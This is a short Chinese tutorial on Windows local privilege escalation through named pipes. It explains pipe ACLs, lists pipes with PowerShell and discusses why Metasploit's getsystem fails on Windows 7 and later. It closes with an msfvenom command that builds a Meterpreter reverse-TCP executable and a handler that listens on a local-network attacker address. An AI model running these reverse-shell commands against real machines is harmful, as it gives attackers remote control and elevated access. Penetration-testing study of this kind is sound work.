windows本地提权之命名管道

windows本地提权之命名管道

参考资料:

视频教程地址:https://www.bilibili.com/video/av89777352

命名管道是什么

命名管道是一个机制,可以使得应用程序和本地或远程的进程进行通信。 创建命名管道的应用程序称为“命名管道服务器”,连接命名管道的称为“命名管道客户端”。 与socket类似,在服务器创建命名管道后,管道客户端可以与服务器进行连接。


命名管道的权限问题

  • 连接由安全解释器控制
  • ACL是命名管道默认的安全解释器,给本地系统用户,管理员,创建管道的拥有者完全的控制权限。 它也给了任何组的用户和匿名用户读权限。

命名管道默认使用的是SMB协议来通信。

列出所有命名管道

1
2
powershell
[System.IO.Directory]::GetFiles("\.\pipe\")

getsystem命令

1
2
3
...
Each method of elevation in `getsystem` relies on the process having certain properties or permissions. On Windows 7/8/8.1, `getsystem` will not work with any of these methods because the operating system has been patched to avoid these flaws.
在网上摘抄了一段资料

getsystem使用的就是命名管道提权的技术,该命令成功与否取决去进程的属性和权限。在win7 8 8.1 中,getsystem命令使用的三种方法提权方法都不会成功,因为系统已经避免了缺陷打上了补丁。

当我在win7 运行getsystem命令来提权的时候,提示Operation failed: The environment is incorrect.

成功提权需要,1.用户权限具有adminitrator,2. windows版本小于win7。

1
2
3
4
5
handler -H 192.168.1.100 -P 4444 -p windows/meterpreter/reverse_tcp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload32.exe

whoami /groups